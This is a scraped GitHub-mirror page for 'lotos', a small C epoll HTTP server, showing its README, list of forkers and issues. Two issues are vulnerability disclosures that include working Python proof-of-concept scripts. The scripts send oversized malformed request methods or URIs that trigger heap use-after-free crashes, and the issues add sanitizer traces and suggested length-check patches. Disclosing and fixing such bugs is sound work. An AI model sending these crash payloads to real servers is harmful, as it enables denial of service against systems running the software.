chendotjs / lotos Goto Github PK

tiny but high-performance HTTP Server

License: MIT License

CMake 0.74% Makefile 1.08% C 94.74% C++ 1.96% HTML 0.98% Objective-C 0.51%

network-programming c epoll http-server nginx

lotos's Introduction

Lotos WebServer

Lotos is a tiny but high-performance HTTP WebServer following the Reactor model, using non-blocking IO and IO multiplexing(epoll ET) to handle concurrency. Lotos is written in pure c and well tested. Several HTTP headers (Connection, Content-Length, etc.) is supported and more will be added in the future.

-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                               19            367            275           2428
C/C++ Header                    12            120            131            514
make                             2             17              0             42
CMake                            1              7              0             18
-------------------------------------------------------------------------------
SUM:                            34            511            406           3002
-------------------------------------------------------------------------------

Documents

0x01	0x02	0x03	0x04	0x05	0x06
项目目的	并发模型	设计实现	测试调试	性能测试	调试记录

Environment

gcc >= 5.4 or clang >= 3.5 (gcc4.9 is not supported)
Linux only, kernel version >= 3.9

Usage

Build

$ git clone https://github.com/chendotjs/lotos.git
$ cd lotos/src/
$ make && make test

Run

Usage: lotos -r html_root_dir [-p port] [-t timeout] [-w worker_num] [-d (debug mode)]

$ ./lotos -r ../www -t 60 -w 4 -p 8888

then you can visit http://localhost:8888/.

Feature

EPOLL Edge Trigger mode, more efficient.
Nonblocking IO.
Multiprocessing, port reuse.
TCP connections managed by min-heap data structure.
HTTP persistent connection support. Close TCP connection when connection expires.
Parse HTTP requests using FSM.
Handle errors and exceptions.
Memory pool is optional.

Test

Unit tests are based on minctest. It is simple, lightweight, and flexible.

Moreover, I contributed some codes to it.

Benchmark

Please refer to BENCHMARK.md.

Reference

nginx

node.js http parser

Tkeed

lotos's People

Contributors

Stargazers

Watchers

Forkers

timfaner seancheer nutting fatelulu hotogwc bdznh harumikiyama cengjing arthuryangcs zhengqiwen junneyang wanglimeng qq431169079 zbqxyz cron-ns lilyzt fhd64 mirukixz cxsw ajunlonglive

lotos's Issues

add more header handlers

Use-after-free in static inline char buffer_end(const buffer_t pb)

Hi!

Similar to issue 7, I discovered a second remote use-after-free vulnerability. The use-after-free occurs in static inline char *buffer_end(const buffer_t *pb), line 32:

lotos/src/buffer.h

Lines 31 to 33 in 3eb36cc

 static inline char *buffer_end(const buffer_t *pb) { 

 return ((char *)(pb->buf) + pb->len); 

 }

Any project that utilizes lotos (including the existing forks of this repo) are potentially vulnerable. Depending on the implementation, this can lead to undefined behavior, denial of service, or authentication bypass.

Makefile Modifications

The following modifications were made to the Makefile to compile lotos with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the use-after-free vulnerability:

CFLAGS=-std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1 -fsanitize=address -g
OPTFLAGS=

OBJS=misc.o ssstr.o dict.o lotos_epoll.o buffer.o request.o response.o \
 connection.o http_parser.o server.o mem_pool.o main.o

lotos : $(OBJS)
	$(CC) $(CFLAGS) $^ -o $@ $(OPTFLAGS)

test :
	make -C ./test
	make test -C ./test

format :
	find . -iname '*.[ch]' -exec clang-format -i -style="{ColumnLimit: 80}" {} +

clean :
	rm -f *.o lotos

.PHONY : test clean format

Compiling Lotos

$ cd lotos/src/
$ make && make test

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an packet with a malformed HTTP verb (request method) to lotos and wait for a response. The verb is a series of '/.' characters. The total size of the malformed method is around 10,000 bytes. This can also be achieved with a malformed 'Host:' header:

#!/usr/bin/env python3
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"/."*5000+b" /hello HTTP/1.1\r\nHost: localhost:8888\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting Lotos

./lotos -r ../www

Executing our Python3 Script

# python3 poc.py

Address Sanitizer Output

The following output was produced by address sanitizer:

==296123==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000002900 at pc 0x56177a0dbbed bp 0x7fffd7927b10 sp 0x7fffd7927b08
READ of size 4 at 0x625000002900 thread T0
    #0 0x56177a0dbbec in buffer_end /home/kali/projects/fuzzing/lotos/src/buffer.h:32
    #1 0x56177a0dbbec in parse_request_line /home/kali/projects/fuzzing/lotos/src/http_parser.c:34
    #2 0x56177a0d7376 in request_handle_request_line /home/kali/projects/fuzzing/lotos/src/request.c:170
    #3 0x56177a0d8530 in request_handle /home/kali/projects/fuzzing/lotos/src/request.c:162
    #4 0x56177a0d4c4a in main /home/kali/projects/fuzzing/lotos/src/main.c:81
    #5 0x7f4c4fa456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x7f4c4fa45784 in __libc_start_main_impl ../csu/libc-start.c:360
    #7 0x56177a0d4e80 in _start (/home/kali/projects/fuzzing/lotos/src/lotos+0x6e80) (BuildId: f69cadb3b591a9b1911fbc4bf465035606fb00ae)

0x625000002900 is located 0 bytes inside of 8201-byte region [0x625000002900,0x625000004909)
freed by thread T0 here:
    #0 0x7f4c4fcd74b5 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x56177a0d63f1 in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:60

previously allocated by thread T0 here:
    #0 0x7f4c4fcd85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x56177a0d61bd in buffer_new /home/kali/projects/fuzzing/lotos/src/buffer.c:10
    #2 0x56177a0d61bd in buffer_init /home/kali/projects/fuzzing/lotos/src/buffer.c:7

SUMMARY: AddressSanitizer: heap-use-after-free /home/kali/projects/fuzzing/lotos/src/buffer.h:32 in buffer_end
Shadow bytes around the buggy address:
  0x625000002680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x625000002900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==296123==ABORTING

The error is a "heap-use-after-free" issue detected by AddressSanitizer in lotos. It occurs when the program attempts to read a 4-byte memory region at address 0x625000002900 after that memory has already been deallocated (freed). The error originates from the buffer_end function in buffer.h at line 32 and is part of a call stack involving multiple functions, ultimately leading to the main function.

Mitigation

The issue related to the buffer_end function, which is used to determine the end of the buffer. The way to mitigate this issues is to ensure that you do not access memory that has been previously freed. Similar to issue 7 when realloc is called, it may move the memory block to a new location if the new size cannot be accommodated in the existing space. This means the pointer to the buffer could become invalid if realloc moves the memory. The following updates can mitigate this issue. Modify the lengths for your specific use case:

Check the size of the HTTP verbs in static int parse_method at http_parser.c, line 342:

Old code:

static int parse_method(char *begin, char *end) {
  int len = end - begin;

Updated code with a length check:

static int parse_method(char *begin, char *end) {
  int len = end - begin;
  if(len > 7){
    return HTTP_INVALID;
  }

Check the size of the request in request.c, line 130:

Old code:

    if (len == ERROR ) {
      if (errno != EAGAIN) {
        lotos_log(LOG_ERR, "recv: %s", strerror(errno));
        return ERROR;
      } else
        return AGAIN; /* does not have data now */
    }
    buffer_cat(r->ib, buf, len); /* append new data to buffer */

Updated code:

    if (len == ERROR || len>2000) {
      if (errno != EAGAIN) {
        lotos_log(LOG_ERR, "recv: %s", strerror(errno));
        return ERROR;
      } else
        return AGAIN; /* does not have data now */
    }
    buffer_cat(r->ib, buf, len); /* append new data to buffer */

References

Use-After-Free in buffer_avail() through version 0.1.1 (commit 3eb36cc)

Hi!

After executing my fuzz tests I discovered a remote use-after-free vulnerability in static inline size_t buffer_avail(const buffer_t *pb) at buffer.h, line 25:

lotos/src/buffer.h

Line 25 in 3eb36cc

static inline size_t buffer_avail(const buffer_t *pb) { return pb->free; }

Makefile Modifications

CFLAGS=-std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1 -fsanitize=address -g
OPTFLAGS=

OBJS=misc.o ssstr.o dict.o lotos_epoll.o buffer.o request.o response.o \
 connection.o http_parser.o server.o mem_pool.o main.o

lotos : $(OBJS)
	$(CC) $(CFLAGS) $^ -o $@ $(OPTFLAGS)

test :
	make -C ./test
	make test -C ./test

format :
	find . -iname '*.[ch]' -exec clang-format -i -style="{ColumnLimit: 80}" {} +

clean :
	rm -f *.o lotos

.PHONY : test clean format

Compiling Lotos

$ cd lotos/src/
$ make && make test

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI to lotos and wait for a response. More specifically, the code will send an HTTP request with a URI containing 20,000 bytes:

#!/usr/bin/env python3

import socket


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"GET /"+b"?"*20000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting Lotos

./lotos -r ../www

Executing our Python3 Script

# python3 poc.py

Address Sanitizer Output

The following output was produced by address sanitizer:

==415636==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000002904 at pc 0x5585539a14ec bp 0x7ffc148a9370 sp 0x7ffc148a9368
READ of size 4 at 0x625000002904 thread T0                                                                                                                                      
    #0 0x5585539a14eb in buffer_avail /home/kali/projects/fuzzing/lotos/src/buffer.h:25
    #1 0x5585539a14eb in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:44
    #2 0x5585539a1935 in request_recv /home/kali/projects/fuzzing/lotos/src/request.c:137
    #3 0x5585539a34f8 in request_handle /home/kali/projects/fuzzing/lotos/src/request.c:144
    #4 0x55855399fc4a in main /home/kali/projects/fuzzing/lotos/src/main.c:81
    #5 0x7fc8c68456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x7fc8c6845784 in __libc_start_main_impl ../csu/libc-start.c:360
    #7 0x55855399fe80 in _start (/home/kali/projects/fuzzing/lotos/src/lotos+0x6e80) (BuildId: f69cadb3b591a9b1911fbc4bf465035606fb00ae)

0x625000002904 is located 4 bytes inside of 8201-byte region [0x625000002900,0x625000004909)
freed by thread T0 here:                                                                                                                                                        
    #0 0x7fc8c6ad74b5 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x5585539a13f1 in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:60

previously allocated by thread T0 here:
    #0 0x7fc8c6ad85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5585539a11bd in buffer_new /home/kali/projects/fuzzing/lotos/src/buffer.c:10
    #2 0x5585539a11bd in buffer_init /home/kali/projects/fuzzing/lotos/src/buffer.c:7

SUMMARY: AddressSanitizer: heap-use-after-free /home/kali/projects/fuzzing/lotos/src/buffer.h:25 in buffer_avail
Shadow bytes around the buggy address:
  0x625000002680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x625000002900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==415636==ABORTING

The error occurs in the buffer_avail function, which is called from buffer_cat in the buffer.c file. The problematic access occurs after a call to realloc in buffer_cat:

lotos/src/buffer.c

Lines 51 to 60 in 3eb36cc

 /* realloc */ 

 size_t cur_len = buffer_len(pb); 

 size_t new_len = cur_len + nbyte; 

 /* realloc strategy */ 

 if (new_len < BUFFER_LIMIT) 

 new_len *= 2; 

 else 

 new_len += BUFFER_LIMIT; 

 npb = realloc(pb, sizeof(buffer_t) + new_len + 1);

When realloc is called, it may move the memory block to a new location if the new size cannot be accommodated in the existing space. This means the pointer to the buffer (buffer_t *pb) could become invalid if realloc moves the memory.

After reallocating, any existing pointers to the old memory location become invalid. If you try to use the old pointer (pb) without updating it to the new memory location returned by realloc it leads to undefined behavior, which is what AddressSanitizer is catching.

Mitigation

There are many moving pieces in this repo, but the following code added to request.c can mitigate this vulnerability. Ultimately to maintain the current functionality and prevent the use-after-free vulnerability, a check is added to line 130 in request.c so all requests greater than 5000 bytes are dropped:

Old Code in request.c, line 130:

if (len == ERROR) {

Updated Code in request.c, line 130:

if (len == ERROR || len>5000) {

The length of 5000 can be modified to meet your specific needs. Keep in mind, the use-after-free occurs at roughly 8154 bytes in the URI.

References

This vulnerability is a UAF (Use-After-Free) vulnerability discovered in the file /lotos/src/response.c

Hello, I am a graduate student specializing in static analysis of programs. Recently, while using a static analysis tool to detect issues in open-source projects, I found several defects in the project. The description of the defects can be found at the following link:https://github.com/LuMingYinDetect/lotos_detects/blob/main/lotos_detect_2.md

请教一下

关于http 头解析那块好像没明白能请教一下吗？简要说明是如何解析http头的

这个程序好像没有解决epoll 多进程惊群问题对吗？有没有什么方案呢？

compiling failed

jyf@test:~/repot/git/lotos/src$ make
cc -std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1   -c -o misc.o misc.c
cc -std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1   -c -o ssstr.o ssstr.c
cc -std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1   -c -o dict.o dict.c
cc -std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1   -c -o lotos_epoll.o lotos_epoll.c
cc -std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1   -c -o buffer.o buffer.c
cc -std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1   -c -o request.o request.c
request.c:49:5: error: initializer element is not constant
     XX("accept", accept, request_handle_hd_base),
     ^
request.c:49:5: error: (near initialization for ‘hf_list[0].hd’)
<builtin>: recipe for target 'request.o' failed
make: *** [request.o] Error 1
jyf@test:~/repot/git/lotos/src$ git version
git version 2.1.4
jyf@test:~/repot/git/lotos/src$ git log -n1
commit 3eb36cc3723a1dc9bb737505f0c8a3538ee16347
Author: chendotjs <[email protected]>
Date:   Sun Feb 18 13:49:35 2018 +0800

    Bump version 0.1.1

	static inline char buffer_end(const buffer_t pb) {
	return ((char *)(pb->buf) + pb->len);
	}

	/* realloc */
	size_t cur_len = buffer_len(pb);
	size_t new_len = cur_len + nbyte;
	/* realloc strategy */
	if (new_len < BUFFER_LIMIT)
	new_len *= 2;
	else
	new_len += BUFFER_LIMIT;

	npb = realloc(pb, sizeof(buffer_t) + new_len + 1);

chendotjs / lotos Goto Github PK

lotos's Introduction

Lotos WebServer

Documents

Environment

Usage

Build

Run

Feature

Test

Benchmark

Reference

lotos's People

Contributors

Stargazers

Watchers

Forkers

lotos's Issues

Makefile Modifications

Compiling Lotos

Proof of Concept Python3 Script

Starting Lotos

Executing our Python3 Script

Address Sanitizer Output

Mitigation

References

Makefile Modifications

Compiling Lotos

Proof of Concept Python3 Script

Starting Lotos

Executing our Python3 Script

Address Sanitizer Output

Mitigation

References

Recommend Projects

Recommend Topics

Recommend Org